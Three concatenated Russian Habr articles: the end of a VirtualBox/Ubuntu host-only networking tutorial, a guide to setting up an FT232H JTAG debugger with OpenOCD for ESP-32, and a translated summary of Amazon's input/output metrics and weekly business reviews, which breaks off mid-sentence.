**11.** Открываем вкладку «Адаптер 2», ставим галку на «Включить сетевой адаптер» и в списке выбираем тип подключения: «Виртуальный адаптер хоста». Жмем ОК. Это действие добавит нам в Ubuntu сетевой адаптер, через который мы и прорубим окно во внешний мир, и в которое можно будет посмотреть на Ubuntu из Windows, через браузер или SSH-клиент, например.
**12.** Далее идем в окно терминала Ubuntu, логинимся (если еще не), и сразу ставим mc
> sudo apt-get install mc
Чем значительно облегчаем себе дальнейшую жизнь (здесь вспоминается высказывание древнего философа: — Это как же нужно было не любить людей, чтобы содать vi )
**13.** Смотрим какие сетевые интерфейсы нам доступны:
> ifconfig -a
Нужно это для того, чтобы понять, какое имя в Ubuntu носит тот самый «Виртуальный адаптер хоста», который мы создали в шаге №11
На скрине вы видите уже настроенные интерфейсы, но у вас будет примерно то же самое. Нас в данной ситуации исключительно интересует какое имя носит сетевой интерфейс, через который мы и будем осуществлять доступ из винды в убунту.
Здесь мы видим, что есть три интерфейса: lo — локальная петля, enp0s3 — это «Адаптер 1» который у нас настроен как NAT (через него идет интернет-трафик в Ubuntu) и, наконец, enp0s8 — это и есть вышеупомянутый «Адаптер 2» («Виртуальный адаптер хоста»). Теперь осталось его настроить.
**14.** Запускаем mc от имени суперпользователя:
> sudo mc
**15.** И открываем для правки файл
> /etc/network/interfaces
(переводим на него курсор и жмем F4), либо просто командой
> mcedit /etc/network/interfaces
Но лично я предпочитаю через mc — меньше буковок набирать приходится :)
**16.** И добавляем туда в конец текста такие строки:
> auto enp0s8
>
> iface enp0s8 inet static
>
> address 192.168.56.107
>
> netmask 255.255.255.0
Получается что-то вроде как показано на скрине:
Если двумя словами, то мы тем самым нашему «Адаптеру 2» дали статический IP-адрес: 192.168.56.107 (можете поменять его на 192.168.56.101 например, или 192.168.56.110, без разницы). И теперь через этот адрес, Ubuntu будет видна из Windows.
**17.** Сохраняем изменения — F2 и выходим из редактора — F10.
**18.** Далее перезапускаем интерфейсы, например так:
> sudo service networking restart
или можете просто перезагрузить Ubuntu Server.
**19.** Теперь, если звезды на небе расположены правильно, то открыв браузер, и набрав в адресной строке:
`http://192.168.56.107`
вы увидите приветственную страницу установленного в составе LAMP (см.п. 4.2 выше) Apache2.
Либо можете законнектиться по SSH через 22 порт по этому же IP-адресу: 192.168.56.107 | https://habr.com/ru/post/324016/ | null | ru | null |
# Бюджетный отладчик к ESP-32 и его настройка
Недавно при написании библиотеки к ESP-32 возникла необходимость ловить дедлоки, которые возникали иногда из-за моей криворукости, что породило необходимость покупки платы-отладчика с интерфейсом JTAG. Что из этого вышло — читайте под катом.
Приборы ~~и материалы~~
-----------------------
Наша главная героиня, а точнее — цель отладки:
*Плата на основе чипа ESP-WROOM-32. Ссылку не дам, т. к. в том месте уже всё раскупили.*
Теперь — сама плата отладки:
*CJMCU FT232H*
Не заморачивался и [заказал на алиэкспрессе](https://aliexpress.com/item/CJMCU-FT232H-High-Speed-Multifunction-USB-to-JTAG-UART-FIFO-SPI-I2C/32814913865.html) за 740,08 руб. вместе с доставкой ePacket. Плата приходит с неприпаянными ногами, что нам только на руку, поскольку они нам не нужны.
Набор проводов, 6 шт.: один конец паять, другой — к ESP-32.
Ещё очень рекомендую USB-удлинитель, без него будет туго…
Компьютер с (X)Ubuntu 18.04.
Настройка
---------
### Установка OpenOCD для ESP-32
Тут можно смело ссылаться на доки самой esp-idf:
```
sudo apt-get install make libtool pkg-config autoconf automake texinfo libusb-1.0 libftdi1-2 git
git clone --recursive https://github.com/espressif/openocd-esp32.git # Или скачиваем релиз из https://github.com/espressif/openocd-esp32/releases
cd openocd-esp32
./bootstrap
./configure # Убеждаемся, что FTDI-based adapters включены
make -j6
sudo make install
```
Отдельно отмечу, что я ставил эту версию OpenOCD в систему (`sudo make install`), что неприемлемо, когда у вас разные OpenOCD для разных устройств.
### Настройка OpenOCD под нас
На этом этапе я разделил конфиг для платы отладки и самой ESP-32. Получилось так:
board.cfg:
```
transport select jtag
adapter_khz 20000 # С этим можно поиграться
# set ESP32_ONLYCPU 1 # Только первое ядро
# set ESP32_RTOS none # Убрать поддержку RTOS
source [find target/esp32.cfg]
```
interface.cfg:
```
interface ftdi
ftdi_vid_pid 0x0403 0x6014
ftdi_layout_init 0x0c08 0x0f1b
```
### Пишем правило Udev
Из-за проблем с правами мы не сможем получить доступ к USB-устройству. Это можно исправить одной строчкой правила udev:
```
echo 'SUBSYSTEM=="usb", ATTR{idVendor}=="0403", ATTR{idProduct}=="6014", GROUP="plugdev", MODE="0666"' | sudo tee /etc/udev/rules.d/99-JTAG.rules
sudo systemctl restart udev.service
sudo udevadm control --reload-rules
```
### Вспомогательный скрипт
Кроме всего прочего, весьма удобен скрипт вроде такого:
openocd\_command:
```
#!/bin/bash
echo "$@" | telnet localhost 4444
```
Он позволит быстро посылать команды напрямую демону OpenOCD. Но об этом — позже.
Подключаем плату CJMCU к ESP-32
-------------------------------
Тут нам понадобятся провода и паяльник, без этого никак. Ниже приведена таблица, что к чему подключать и зачем.
| Контакт CJMCU | Назначение JTAG | Контакт ESP-32 |
| --- | --- | --- |
| AD0 | TCK | 13 |
| AD1 | TDI | 12 |
| AD2 | TDO | 15 |
| AD3 | TMS | 14 |
| +5V | | VIN (читать подробно!) |
| +3.3V | | 3V3 (читать подробно!) |
| GND | | GND (внезапно) |
### Про VIN и 3V3
Если вы не хотите тянуть от компа отдельный провод к ESP-32 devkit'у, то можно подключить +5V к VIN. Прошивка при этом будет идти через JTAG, что, как показал личный опыт, гораздо быстрее. Один минус этого варианта — нет возможности смотреть лог UART, но ИМХО отладчик напрочь убирает необходимость сего действия.
*Как заметили в комментариях, на сам ESP-32 подавать 5V нельзя, только на devkit'ы. Если вам нужно отладить отдельный чип, можно запитаться от преобразователя самого CJMCU, подключив +3.3V на нём к 3V3 на ESP-32. Но про то, хватит ли мощности преобразователя, ничего не могу сказать, лучше возьмите отдельный источник питания. И да, подключать 5V и 3.3V одновременно не стоит.*
**При этом GND подключать обязательно всегда!**
Проверяем OpenOCD
-----------------
Запускаем OpenOCD так:
```
openocd -s 'куда вы кидали interface.cfg и board.cfg' -f interface.cfg -f board.cfg
```
Если всё прошло успешно, вам покажут что-то вроде этого:
```
Open On-Chip Debugger 0.10.0-dev (2018-08-22-14:47)
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
adapter speed: 20000 kHz
esp32 interrupt mask on
Info : ftdi: if you experience problems at higher adapter clocks, try the command "ftdi_tdo_sample_edge falling"
Info : clock speed 20000 kHz
Info : JTAG tap: esp32.cpu0 tap/device found: 0x120034e5 (mfg: 0x272 (Tensilica), part: 0x2003, ver: 0x1)
Info : JTAG tap: esp32.cpu1 tap/device found: 0x120034e5 (mfg: 0x272 (Tensilica), part: 0x2003, ver: 0x1)
Info : esp32: Debug controller was reset (pwrstat=0x5F, after clear 0x0F).
Info : esp32: Core was reset (pwrstat=0x5F, after clear 0x0F).
Info : Detected debug stubs @ 3ffb3134 on core0 of target 'esp32'
cpu0: Current bits set: BreakIn BreakOut RunStallIn
cpu1: Current bits set: BreakIn BreakOut RunStallIn
```
Это говорит о том, что всё заработало!
**Важно**: процесс OpenOCD должен крутиться всё время, пока вы заняты отладкой.
Задействуем Eclipse
-------------------
Тут есть целый ряд шагов, который прекрасно описан в [официальной документации](https://esp-idf.readthedocs.io/en/latest/api-guides/jtag-debugging/using-debugger.html#jtag-debugging-using-debugger-eclipse), и я их не буду повторять.
### Советы по отладке в Eclipse
1. Забудьте про кнопку EN аки reset на плате. Перезапуск делайте **только** через "Terminate and relaunch".
2. Для прошивки используйте
```
openocd_command 'program_esp32 абсолютный_путь/файл.bin 0x10000 verify'
```
Можете добавить это как цель сборки, поставив `openocd_command` кастомной командой, а в поле "имя цели" вписать аргументы (без кавычек).
3. Вы можете получить не то, что ожидали, после остановки и возобновления. Моя библиотека для воспроизведения звука после этого тараторит как ненормальная из-за приколов с таймером.
На этом мой текущий опыт работы с данной системой заканчивается. Желаю плодотворной отладки (будем честны, приятной она не бывает)! | https://habr.com/ru/post/421291/ | null | ru | null |
# Вот как Амазон измеряет свою эффективность
*Этот перевод создан для телеграм-канала*[*Инжиниринг Данных*](https://t.me/rockyourdata)*. И, так как, одной из задач создателей телеграм-канала и аналитического курса*[*DataLearn*](https://datalearn.ru/)*является популяризация грамотной работы с данными, мы выкладываем переводы в общий доступ. Мой стрим переводов будет касаться анализа, прогнозирования, продуктовой аналитики и работы с метриками. Бизнес литературу полезно читать, чтобы не забывать про контекст, цели и человеческую составляющую сервисов. Помним, что конечные цели должны быть измеримы и контролируемы. Как раз об этом поговорим в статье Седрика Чина.*
### Содержание
* [Как Amazon думает о метриках](#how_amazon_thinks)
* [Жизненный цикл метрик в Amazon](#life_cycle)
* [Как Amazon использует метрики](#how_amazon_uses)
Это конспект одной лишь главы из [Working Backwards](https://www.goodreads.com/book/show/53138083-working-backwards) (Работай, начиная с конца), первой книги, которая описывает, как работает Амазон изнутри. Советую приобрести книгу, потому что этот конспект будет более полезным, если его читать вместе с историями из самой книги.
Я ждал такую книгу, как Working Backwards, очень и очень долго. Если посмотреть со стороны и подумать, Амазон — невероятно эффективная компания. Они начали с продажи книг, но уже добились лидирующих позиций на огромном количестве рынков: электронная комерция, облачные технологии, интернет-видеосервисы, электронные книги, оборудование для умного дома, сервисы доставки до конечного потребителя. Есть все предпосылки к тому, что в течение следующего десятилетия Амазон продолжит укреплять свои позиции на многих из этих рынков; он также, вероятнее всего, расширится и на новые.
Working Backwards — первая книга, объясняющая как Амазон всего этого добивается. Книга была написана ветеранами Амазона, Колином Брайаром и Биллом Карром, которые были свидетелями создания многих основополагающих техник. Главная причина того, что Амазон способен делать то, что он делает, приводимая Брайаром и Карром, заключается в следовании: а) набору принципов лидерства, воспринимаемых со всей серьезностью (актуальный список принципов можно найти [здесь](https://www.amazon.jobs/en-gb/principles)) б) набору из пяти механизмов — процессов, которые позволяют Амазону делать то, что они делают. Такими механизмами являются:
1. Процесс **The Bar Raiser** — процесс найма, который обеспечивает Амазон высококвалифицированными кадрами, соответствующими всем лидерским принципам.
2. Модель **The Single Threaded Leadership**— децентрализованная структура организации, которая позволяет Амазону разворачивать рынки, выходить на новые рынки и доминировать на них.
3. Доклады **The 6-Pager Narrative** — альтернатива презентациям в Powerpoint на деловых встречах, которая позволяет руководству усваивать, синтезировать и оценивать сложные потоки информации (и позволяет Безосу поддерживать осведомленность обо всей децентрализованной организации).
4. Процесс **The Working Backwards**. Процесс заключается в том, что команды должны написать пресс-релиз и список часто задаваемых вопросов прежде, чем начать проект. Это позволяет компании делать ставку на действительно стоящие идеи.
5. Подход входных и выходных показателей **Input and Output metrics** — объясняет как Амазон измеряет, анализирует и достигает необходимого уровня метрик внутри компании.
Этот пост будет сфокусирован только на последней теме, в конце концов, это блог о бизнес-аналитике, написанный компанией бизнес-аналитики. Одержимость метриками — это как раз про нас. Но здесь, я бы хотел подчеркнуть силу этих идей. Книга Брайара и Карра основательно объясняет почему Амазон может делать то, что они делают. Вам следует купить книгу и прочитать их истории.
### Как Амазон думает о метриках
Самая полезная вещь, которую вы вынесите из книги Working Backwards — идея о том, что хороший управляющий должен измерять организацию, которой он руководит. Если вы не будете измерять, вы не будете знать, что у вас происходит. Если вы не знаете, что у вас происходит, вы не можете быть хорошим управляющим — вы не знаете на чем сосредоточить свое внимание, чтобы получить желаемый результат.
Амазон делит метрики на 2 типа: **контролируемые входные метрики** и **метрики на выходе**. В индустрии они известны как [опережающие и запаздывающие показатели](https://www.holistics.io/blog/the-two-types-of-operating-indicators/), но Амазон любит использовать собственные словечки, эм, ну это же Безос. Однако, думаю, что выражение «контролируемые входные метрики» — это особенно хороший способ формулировки: он как бы подчеркивает, что опережающие показатели стоят внимания только в случаях, когда они являются контролируемыми.
Согласно Брайару и Карру, Амазон думает о своих показателях в двух широких смыслах:
* Во первых, Амазон формулирует(определяет) и прокручивает каждую метрику по особому жизненному циклу метрик.
* Во вторых, Амазон презентует свои показатели на собраниях, называемых Еженедельные Бизнес Ревью (Weekly Business Review, далее WBR), что спускается на всю организацию: топ-менеджмент собирается каждую неделю на полномасштабный WBR, затрагивающий всю компанию, а за ними и каждый департамент, команда по цепочке.
Мы изучим каждую идею по очереди.
### Жизненный цикл метрик Амазона
Как Амазон создает свои метрики? Если отвечать коротко, у них для этого есть целый процесс, метод улучшения, называемый DMAIC, который они скопировали из концепции «Шесть Сигм». Аббревиатура расшифровывается как Define (определите), Measure (измеряйте), Analyze (анализируйте), Improve (улучшайте), Control (контролируйте). Авторы говорят, что если вы хотите внедрить схожие с Амазоном еженедельные встречи WBR, то вам нужно пройти через этапы DMAIC в правильном порядке, не пропуская ни один шаг. (Где-то в книге упоминается, что команды, которые не проходят этапы DMAIC в точном порядке, спотыкаются позже. Урок усвоен.)
Давайте взглянем на каждый этап по очереди:
**Определите**
Почти каждая метрика, презентуемая на встрече руководителей WBR, соответствует одному из элементов знаменитого «маховика» Амазона:
Когда-то эту диаграмму нарисовал Безос на салфетке в 2001 году, вдохновленный концепцией маховика из книги Джима Коллинза «От хорошего к великому». Брайар и Карр подчеркивают, что маховик на столько важен, что он располагается в самом начале каталога показателей на встречах руководства WBR. Маховик устанавливает контекст для каждой метрики, которую Амазон отслеживает в своем розничном бизнесе.
**Устанавливайте верные контролируемые входные показатели**
Первая вещь, которую делает Амазон — это определяет список правильных контролируемых входных метрик. Это удивительно сложно и требует повторяющегося процесса проб и ошибок. Авторы приводят следующий пример:
> Когда в Амазоне мы начали переходить от книг на другие категории, мы допустили ошибку, выбирая входные показатели, ориентированные на выбор, то есть на то, сколько товаров Амазон выставил на продажу. Каждая позиция описана на странице объявления, которая включает описание товара, картинки, рекомендации пользователей, доступность (например, готов к отправке через 24ч), цена и блок «купить» или кнопка. Одной из метрик, которую мы изначально выбрали для оценки выбора, было количество созданных объявлений, так как предполагали, что чем больше объявлений, тем лучше выбор.
>
> Как только мы определили метрику, она тут же повлияла на действия ритейл команд. Они стали чрезмерно сосредоточены на добавлении новых страниц объявлений с подробностями — каждая команда добавила в свои категории десятки, сотни и даже тысячи товаров, которые ранее не были доступны на Амазоне.
>
> (…) В скоре мы увидели, что рост страниц объявлений, казалось бы, увеличение выбора, не привел к росту продаж, нашей метрики на выходе. Анализ показал, что в погоне за увеличением количества товаров, команды иногда покупали продукты, которые не пользовались высоким спросом.
>
> Когда мы поняли, что команды выбрали неправильную входную метрику, а это было обнаружено в процессе еженедельных докладов WBR, мы изменили показатель, чтобы он отражал потребительский спрос. После нескольких встреч WBR, мы задались вопросом: «Если мы продолжим работать над изменением метрики выбора, в том виде, как она определена сейчас, приведет ли это к желаемому результату?». По мере того как мы собирали больше данных и наблюдали за положением дел, эта конкретная метрика выбора через некоторое время эволюционировала от:
>
> - количества карточек объявлений, которую мы улучшали
>
> - к количеству просмотров карточек объявлений (вы не получите одобрения из-за новой страницы объявления, если покупатели ее не просматривают), которая затем стала
>
> - долей просмотров объявлений продуктов, которые были на складе (вы не получите лояльность, если добавляете товары, но не сможете поддерживать их запасы на складе), что в конечном итоге вывелось к:
>
> - проценту просмотров объявлений продуктов, которые были на складе готовыми к отправке в течение 2ух дней до клиента, впоследствии ее назвали метрикой управления запасами 'Fast Track In Stock’ (прим. дословно, быстрый путь на складе).
>
>
Авторы здесь говорят, что для того, чтобы получить правильный набор контролируемых входных метрик, вам нужно будет тестировать и дискутировать, будьте готовы совершать множество итераций и того и другого! Авторы поясняют, что даже этот путь не был таким уверенным, как вы могли бы подумать — Безос был обеспокоен тем, что метрика быстрого роста запасов была слишком узкой, но Джефф Уилк настаивал, что такая метрика приведет к обширным систематическим улучшениям. Безос согласился попробовать, и Уилке оказался прав.
Однако, самое главное, на что необходимо обратить внимание — это на то, что такой процесс совершается для каждой входной метрики, которую использует Амазон. Это сотни человеко-часов только на итерации по используемым входным метрикам.
`Амазон тратит сотни человеко-часов на итерации по правильным входным метрикам`.
Приготовьтесь делать то же самое для своей компании.
**Измеряйте**
Этап измерения — это ступень, где вы настраиваете инструментарий для аналитики: закупаете все необходимое и отлаживаете окружение для измерения выбранных метрик. Брайар и Карр выделяют следующие 3 шага на этой стадии:
Во-первых, невероятно важно и **необходимо избавиться от предубеждений в ваших метриках**, если вы хотите открыть самую потаенную правду о своем бизнесе. Амазон оказывает всяческую поддержку своему финансовому отделу, чтобы те беспристрастно вскрывали и рапортовали правду. Это делается потому что руководители бизнес-подразделений заинтересованы выбирать показатели (или настраивать показатели!) таким образом, чтобы выглядеть лучше.
Во-вторых, **планируйте аудит метрик**. Амазон требует от блюстителей метрик проведения регулярных ревизий метрик, для того чтобы убедиться, что метриками измеряется то, что на самом деле должно отслеживаться. В основе такого требования лежит предположение о том, что со временем что-то приведет к смещению вашей метрики и, следовательно, к искажению чисел.
В-третьих, **найдите время и инвестируйте в инструменты для своего бизнеса**. Кажется, это достаточно просто сделать: вы тратите деньги на людей и сервисы для создания бизнес-аналитики, и на этом ваша работа кончается, так? Но авторы подчеркивают, что в ваших интересах использовать правильные инструменты, какими бы они ни были для бизнеса, а ведь иногда правильные — это наиболее сложные!
В пример дается показатель Амазона «в наличии». Метрика «в наличии» звучит простой для измерения, пока вы не увидите как много там возможных способов вычислить в наличии ли товар. И что же вам делать? Посмотрим со стороны, вопрос, на который мы на самом деле хотим ответить следующий: «какой процент моих товаров готовы к покупке и незамедлительной отправке?».
Вы можете измерить это несколькими способами. Авторы приводят только два:
* Вы делаете snapshot (копию) каталога каждый день в 11 вечера, определяете, какие товары есть на складе, а затем оцениваете каждую позицию, рисуя график 30-ти дневных продаж.
* Каждый раз, когда пользователь заходит на страницу товара, веб-приложение увеличивает «Общее количество отображенных страниц товара», и если соответствующий продукт доступен, веб-приложение увеличивает «Общее количество отображенных страниц товара в наличии». В конце дня вы делите «Общее количество отображенных страниц товара в наличии» на «Общее количество отображенных страниц товара» и получаете общий показатель для товаров в наличии в тот день.
Авторы утверждают, что вторая метрика лучше, потому что она отражает то, что видит клиент. Так что, несмотря на то, что этот способ дороже в реализации (вам нужно будет попросить инженеров написать код, сделать расчеты и хранить каждое событие в базе данных!), вам следует стиснуть зубы и вложиться, потому что это наиболее точная метрика, которую бизнес должен знать.
**Анализируйте**
На этой стадии жизненного цикла метрик вы дорабатываете устойчивое понимание всей подноготной метрики. Авторы говорят, внутри Амазона существует много разных названий для этой ступени, например, «снижаем вариативность», «делаем процесс более предсказуемым», «берем процесс под контроль»
Чарли Белл, старший вице-президент AWS (Amazon Web Services), однажды сказал: «Когда вы сталкиваетесь с проблемой, вероятность того, что вы сразу видите корень этой проблемы стремится к нулю, потому что обычно оказывается, что за каждым происшествием скрывается очень интересная история.»
Он здесь имеет в виду, что часто, если вы сталкиваетесь со странным поведением метрики, то вы тратите время на поиск причин такого поведения. Как и Тойота, Амазон использует метод «5 почему», чтобы добраться до первопричины аномалий ( они называют этот процесс «Исправление ошибок» COE (‘Correction of Errors’), результатом COE является документ, описывающий настоящий корень проблемы аномалии в соответствующей метрике).
`Для каждой метрики, которую вы определяете, должен быть выделен период на развитие глубокого понимания того, как она работает.`
Но сам смысл, стоящий за ступенью анализа, важнее. Брайар и Карр говорят, что для каждой новой метрики обязательно будет период, когда нужно будет развить глубокое понимание того, как она работает, какие ее первоисточники, как выглядят ее естественные колебания, доверительный интервал и так далее. Это позволит вам перейти на следующий этап, которым будет:
**Улучшайте**
Как только вы развили твердое, устойчивое понимание вашего процесса и показателей, вы наконец готовы начать улучшать оговоренный процесс. Например, если ваша метрика «в наличии» равна 95%, вы можете задаться вопросом: «Что нужно сделать, чтобы поднять ее до 97%»?
Причина того, что стадия улучшения идет после определения, измерения и анализа, состоит в том, что теперь вы будете делать изменения на прочном фундаменте понимания. В Амазоне были отделы, которые пытались улучшать свои процессы без полного цикла определения, измерения и анализа. Почти всегда это приводило к большому количеству беспорядочных действий с маленькими или незначительными результатами.
Авторы отмечают, что если вы со временем постепенно улучшаете этот процесс, то ранее используемая метрика может перестать давать полезную информацию. В таких случаях совершенно нормально удалить ее с ваших дашбордов.
**Контролируйте**
Наконец, метрика переходит в устойчивое состояние, в фазу контроля. Этот этап про то, чтобы убедиться, что ваши процессы отлажено работают и производительность со временем не падает. В некоторых командах Амазона метрики настолько хорошо контролируются и процессы так налажены, что встречи WBR становятся встречами - исключениями, вместо регулярных еженедельных встреч для обсуждения каждой метрики. Сотрудники встречаются лишь для обсуждения аномалий.
Еще одна вещь, которая случается на стадии контроля — это то, что аналитики могут обнаружить процессы, которые могут быть полностью автоматизированы. В конце концов, если процесс достаточно хорошо изучен и решения предсказуемы, то скорее всего он может быть заменен программным обеспечением. Предсказания и покупки на Амазон — два примера, где процессы сейчас полностью автоматизированы — хотя, на автоматизацию ушли годы синхронизации категорий покупателей и разработчиков для того, чтобы автоматизировать покупки миллионов товаров на Амазоне.
### Как Амазон использует метрики
Как я ранее уже упоминал, Амазон использует метрики, рассматривая их на еженедельных бизнес-ревью WBR.
Блюстители метрик следят за показателями ежедневно. От них требуется знать, что является естественным отклонением, а что аномальным, чтобы не тратить лишнее время на WBR.
На собраниях WBR самого высокого уровня (Безос и его команда топ-менеджеров, S-team) бизнес-ревью WBR охватываются все наиболее важные показатели компании из «колоды показателей» — презентации, состоящей из сотни графиков, диаграмм и таблиц. На заре Амазона, вся «колода» показателей печаталась на бумаге. Сейчас они либо напечатаны, либо хранятся на электронных носителях.
Существует ряд интересных свойств у «колоды» метрик, которые стоит обсудить. Вот, например:
* **«Колода» показателей представляет собой сквозной взгляд на бизнес.**Это сделано намеренно — авторы пишут: «в то время, как департаменты, показанные на диаграммах, — просты и раздельны, бизнес-деятельность такой не является. В «колоде» представлен последовательный, комплексный обзор бизнеса за каждую неделю, составленный по пользовательскому пути на Амазоне. Такой последовательный переход с темы на тему может выявить взаимосвязь, на первый взгляд, абсолютно независимых событий.»
* **«Колода» состоит в основном из диаграмм, графиков и таблиц.** Поскольку необходимо рассмотреть сотни иллюстраций к данным, текстовые заметки слишком сильно замедлят ход встречи. Двумя примечательными отступами от этого правила являются отчеты об исключительных случаях и байки «Голос клиента», их разрешено добавлять на «доску» метрик.
* **Не существует идеального количества метрик для ревью.** Амазон и сам постоянно добавляет, модифицирует и исключает метрики из доски для встреч WBR, согласно изменению требований бизнеса.
* **Основной фокус на возникающих закономерностях.** Вам необходимы повторяющиеся паттерны, характерное поведение графиков, и лучше их знать задолго до того, как они появятся в квартальных или годовых отчетах.
* **Графики обычно строятся рядом с сопоставимыми величинами за предыдущий период.** Метрики обретают смысл в сравнении с предыдущими периодами, вам нужно честное сопоставление яблок с яблоками (например, вы скорее будете сравнивать праздничные дни с предыдущим праздничным периодом, чем с тихими будними днями).
* **Графики имеют 2 и более временные шкалы, например, 6-ти недельную и 12-ти месячную.** Мелкие, но важные проблемы обычно видны на более коротких промежутках; потому что они, как правило, сглаживаются на более длинных.
* **Байки и отчеты по исключениям вплетены в «колоду» метрик.**Единственными исключением из правила «диаграммы, графики и таблицы» являются показательные истории и разбор исключительных случаев. О которых, много позже.
WBR является фрактальным методом — высшее руководство собирается на WBR, так же как и все отделы и команды. Некоторые показатели отслеживаемы в режиме реального времени (например, те, которые необходимы для обнаружения сбоев), остальные обновляются ежечасно или ежедневно; это в основном зависит от потребностей команды. В конце концов, показатели сертифицируются финансовым отделом, который уполномочен проверять эти показатели, и он же, присутствует на встречах WBR высшего уровня.
С учетом этой информации, мы можем, наконец, перейти к самим еженедельным бизнес ревью WBR.
#### Проведение встреч WBR
Амазон посвящает огромное количество времени подготовке к гладкому проведению встреч WBR. Еженедельный ритм позволяет поддерживать темп нескольких вещей. Он гарантирует, что менеджеров оповещают о проблемах как можно скорее. Он гарантирует, что из недели в неделю встречи плавно перетекают одна в другую. Со временем, Амазон оставил несколько оптимальных методик:
**Метрики форматируются единым и привычным образом.** Авторы утверждают, что «хорошая колода настроена однообразно — дизайн графиков, временные шкалы, цветовая палитра, набор символов (текущий год, предыдущий год, цели) и, где это возможно, одинаковое количество графиков на странице. Некоторые данные, естественно, можно по-разному представить, но их тоже выводят в требуемом стандартном виде.
Такое редактирование означает, что руководители Амазона могут просматривать один и тот же набор данных каждую неделю в одном и том же формате и в одном и том же порядке, чтобы иметь возможность беспрепятственно видеть целостную, сквозную картину бизнеса. Со временем, такое единообразие приводит к общей способности выделять тенденции, ловить аномалии и поддерживать процесс непрекращающейся проверки. Таким образом, WBR должен становиться все более эффективным.
**На встречах WBR фокус идет на отклонения, ожидаемое поведение игнорируется.** Время встреч на бизнес-ревью WBR — бесценно. Если дела идут в пределах ожидаемых изменений, руководители направлений говорят: «здесь нечего смотреть» и продолжают доклад. Главной целью встречи является обсудить исключительные случаи и действия, связанные с ними.
**Руководители направлений заведуют метриками и ответственны объяснять отклонения в них.** В то время как финансовый отдел обязан сертифицировать метрики, демонстрация каждой метрики — ответственность только соответствующего ей руководителя. Владельцы продукта обязаны детально знать свои показатели; к тому времени как они участвуют во встрече WBR с топ-менеджерами, руководители направлений должны иметь аргументы (или хотябы промежуточные результаты расследования) для обоснования аномалии.
Руководителям, которые не подготовились должным образом перед встречей WBR, делается строгий выговор. Если они не знают причин аномалии, им следует сказать: «Я не знаю, мы все еще анализируем данные, но мы вернемся к вам с информацией.» Догадки на месте или выдумывание причин, также приведет к выговору.
**Операционные и стратегические обсуждения проводятся отдельно.** Время WBR драгоценно. Это тактическое оперативное совещание, а не стратегическое. Новые стратегии, продуктовые изменения и предстоящие релизы не допускаются к обсуждению во время встречи.
**Амазон старается не запугивать (хотя у них это не очень хорошо получается).** Успех требует такой среды, в которой люди не чувствуют себя уязвимо в моменте, когда говорят о чем-то, что пошло не так в их области. Авторы признают, что Амазон не всегда хорошо справляется с созданием безопасной среды для признания ошибок, но они работают над этим.
**Амазон делает переход от метрики к метрике простым.** Еще раз, время WBR драгоценно. Количество исполнительных директоров и владельцев продуктов, собравшихся в одной комнате, делает встречу WBR уровня топ-менеджмента самым дорогим и влиятельным собранием Амазона. Это значит, что переходы от одной области колоды метрик к другой области должны быть максимально беспрепятственными.
Также, у Амазона есть несколько интересных способов представления данных:
**Амазон выводит недельные и месячные показатели на одном графике.** Как было упомянуто ранее, Амазон строит 6-ти недельный график и 12-ти месячный. Смысл представления показателей таким образом заключается в том, что график выглядит как увеличенная версия одних и тех же данных. Возьмем, к примеру, этот график:
* Серая линия — предыдущий год, черная — текущий год
* Левый график, вон те 6 точек, показывает последние 6 недель
* Правый график, из 12-ти точек, показывает весь год месяц за месяцем
* Этот встроенный «зум» добавляет ясность, как бы усиливает самые последние данные, которые график 12-ти месяцев помещает в контекст.
**Амазон следит за трендами ежегодных изменений.** Посмотрите на следующий график из ежемесячного бизнес ревью (да, такие существуют; это, на самом деле, ежемесячная версия WBR):
WBR):
На графике фактическая ежемесячная выручка сравнивается и с запланированной выручкой, и с выручкой за предыдущий год. График выглядит так, как будто вы выполняете план и растете с приличной скоростью из года в год …
До тех пор пока вы не добавите сравнение темпа роста с предыдущим годом на правую ось Y:
Без пунктирной линии годового изменения (YOY), вы можете и не заметить, что текущие и прогнозируемые тренды медленно сходятся на первом графике. Однако, с добавленным графиком изменения темпа роста от года к году, вы легко можете заметить, что рост замедлился на 67% с января, даже без намеков на выход на плато. В данном конкретном случае бизнес выглядит здоровым, но на горизонте маячат проблемы.
**Метрики на выходе показывают результаты, входные метрики дают рекомендации.**График выше — пример выходной метрики. Это отличное напоминание о том, что показатели на выходе — не реактивные. Например, недостаточно знать, что рост по сравнению с предыдущим годом замедлился, вам также нужно знать какие факторы способствовали замедлению. Брайар и Карр отмечают, что если выходная метрика будет располагаться рядом с входными метриками, такими как "новые клиенты", "доход от новых клиентов" и "доход от существующих клиентов", вы сможете обнаружить сигнал намного раньше, и с более четким призывом к действию.
**Не каждая диаграмма/график сравнивается с целями.** График выше содержит цели. Но естественно, не каждый график должен включать цели, например, процент пользователей ОС Android и iOS — не является показателем, основанным на целях, и поэтому цели могут быть исключены из визуализации.
**Амазон объединяет данные и яркие эпизоды, чтобы осветить случай целиком.** Однако, наиболее интересный аспект колоды показателей — это использование баек. Авторы пишут:
> Амазон применяет множество техник, чтобы показательные истории точно дошли до команд, которые владеют и управляют сервисом. Одним из примеров является программа, называемая «Голос клиента». Отдел по работе с клиентами CS изо дня в день собирает и подводит итоги обратной связи покупателей и презентует ее во время WBR, но не обязательно каждую неделю. Выбранный отзыв не обязательно отражает наиболее распространенную жалобу, служба поддержки свободна выбирать, о чем рассказывать. Часто очень больно слышать истории на ревью WBR, потому что они подсвечивают как сильно мы подвели клиентов. Но они всегда дают нам обучающий опыт и возможность становиться лучше.
>
>
Яркие эпизоды могут выявить самые разнообразные и странные проблемы. Например,
> Один случай из программы «Голоса клиента» был об инциденте, когда наше ПО заблокировало несколько кредитных карт из-за нескольких предварительных снятий по 1$ в качестве пре-авторизаций, обычно это происходит только единожды за заказ. Деньги с клиентов не снимались, и срок действия таких пре-авторизаций истекает через несколько дней, но пока заявки висели на рассмотрении, деньги считались снятыми с кредитной карты. Обычно это бы не возымело никакого эффекта на пользователя. Однако, одна клиентка написала, что сразу после покупки на Амазоне она пошла за лекарством для своего ребенка, но ее карта была заблокирована. Покупательница потребовала, чтобы мы помогли решить эту проблему, чтобы та смогла купить необходимое ребенку лекарство. Сперва, расследование по ее жалобе вскрыло, что edge-case баг (другими словами, редчайшая ошибка) превысил лимит ее кредитной карты. Множество компаний отклонили бы такие случаи как выбросы, не заслуживающие внимания, исходя из предположения, что подобное случается редко и слишком дорого для исправления. В Амазон такими случаями регулярно занимались, потому что они могли повториться и потому что расследования часто выявляли дополнительные смежные проблемы, которые необходимо было решать. То, что на первый взгляд казалось лишь редким случаем, оказывалось более значимым. Ошибка вызывала проблемы в 